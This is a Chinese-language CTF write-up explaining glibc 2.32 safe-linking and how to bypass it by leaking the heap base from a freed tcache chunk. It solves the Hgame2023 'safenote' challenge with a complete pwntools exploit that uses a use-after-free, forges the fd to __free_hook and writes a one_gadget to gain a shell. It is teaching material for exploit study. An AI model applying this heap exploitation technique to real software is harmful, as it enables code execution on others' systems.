前言 低版本中 无论是tcachebin还是fastbin 只要我们修改fd域就可以将对应地址放置到链表上 威胁程度非常高
在libc2.32以后 saft-linking机制诞生 一定程度上缓解了这种现象的出现
其通过在chunk被释放到链表之前对fd域进行加密 取出后解密来实现堆块的存入和取出 并且有效遏制了用户在没有密匙的情况下篡改fd域从而实现任意地址申请的chunk
不过这个加密的手段比较简单 所以我们仍然有办法绕过这个机制 只需要获取其密匙就行了
源码解析 1 2 3 4 5 6 7 8 9 10 11 12 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
pos是指针本身的地址 ptr是指针的值
加密的公式翻译成中文形式也就是
如果我们想要按照以前一样任意地址取出chunk 就需要在修改fd域的时候就按照这个加密办法
这也就意味着我们需要获取到堆的地址 这样才能伪造fd域
利用 你可能会想到申请两个chunk 释放进bin中 随后泄露其fd域 获取堆地址
这样当然可行 不过由于这个机制 我们泄露fd域的方法会更加简单 如果单纯释放一个chunk到tcache链表中
换做往常 其fd域值为0
但是受到机制的影响 在2.32版本以后 此时的fd域应该是
1 (0x55b170682260>>12) ^ 0
你会发现最后的结果也就是去除了后三位 这就意味着如果我们释放一个chunk到tcachebin中 再泄露出fd域 得到的值算术左移12位 就可以得到堆基址 因为堆基址是从当前页起始 也就是后三位固定为0 并且只申请一个chunk的话 大小总不会超过0x1000吧
于是 如果我们想要通过tcachebin获取任意地址的堆块 只需要将对应地址异或(堆基址>>12) 前提是你没有申请超过0x1000大小的chunk 致使对应的chunk到了下一页
真题分析 Hgame2023-week3-safenote 题目环境2.32 做题环境ubuntu18 libc2.27
1 2 3 4 5 一共给了四个函数 add函数 可以申请0xff大小以下的chunk delete函数 释放chunk后并没有置零指针 存在UAF edit函数 没有办法堆溢出 show函数 调用puts函数输出堆块内容
非常常规的一道题 无非就是利用UAF实现libc基址的泄露 并且利用tcache打hook
但是因为版本在libc2.32 所以有几个地方需要注意
由于最大只能申请0xff大小的chunk 并且没有办法chunk extend 所以这里采用填满tcache链表的办法使得chunk被释放到unsortedbin中
1 2 3 4 5 6 7 for i in range (8 ): add(i,0x80 ) delete(0 ) show(0 ) heap_addr = u64(io.recv(5 ).ljust(8 ,b'\x00' ))<<12 success("heap_addr :" +hex (heap_addr))
同时我们可以多申请一个chunk 利用这个chunk来泄露堆基址
紧接着填满tcache链表后再释放一个chunk进入unsortedbin 从而泄露libc基址
1 2 3 4 5 6 7 8 9 10 11 12 add(8 ,0x10 ) for i in range (1 ,8 ): delete(i) edit(7 ,'\x11' ) show(7 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x11 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7fea010bfc00 -0x7fea00edc000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] onegadget_addr = libc_addr + 0xdf54f
这里之所以要修改chunk7的最后一个字节再打印出来 是因为该版本的main_arena_addr+96最后一个字节是00 如果直接泄露的话 显然是会被截断
接下来的任务就很简单了 打free_hook
1 2 3 4 5 6 7 payload = (heap_addr>>12 )^(free_hook) edit(6 ,p64(payload)) add(9 ,0x80 ) add(10 ,0x80 ) edit(10 ,p64(onegadget_addr)) delete(0 ) io.interactive()
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *io = process("./pwn" ) context.log_level = "debug" libc = ELF("/home/chen/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (index,size ): io.sendlineafter("5. Exit" ,b'1' ) io.sendlineafter("Index: " ,str (index)) io.sendlineafter("Size: " ,str (size)) def delete (index ): io.sendlineafter("5. Exit" ,b'2' ) io.sendlineafter("Index: " ,str (index)) def edit (index,content ): io.sendlineafter("5. Exit" ,b'3' ) io.sendlineafter("Index: " ,str (index)) io.sendafter("Content: " ,content) def show (index ): io.sendlineafter("5. Exit" ,b'4' ) io.sendlineafter("Index: " ,str (index)) for i in range (8 ): add(i,0x80 ) delete(0 ) show(0 ) heap_addr = u64(io.recv(5 ).ljust(8 ,b'\x00' ))<<12 success("heap_addr :" +hex (heap_addr)) add(8 ,0x10 ) for i in range (1 ,8 ): delete(i) edit(7 ,'\x11' ) show(7 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x11 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7fea010bfc00 -0x7fea00edc000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] onegadget_addr = libc_addr + 0xdf54f payload = (heap_addr>>12 )^(free_hook) edit(6 ,p64(payload)) add(9 ,0x80 ) add(10 ,0x80 ) edit(10 ,p64(onegadget_addr)) delete(0 ) io.interactive()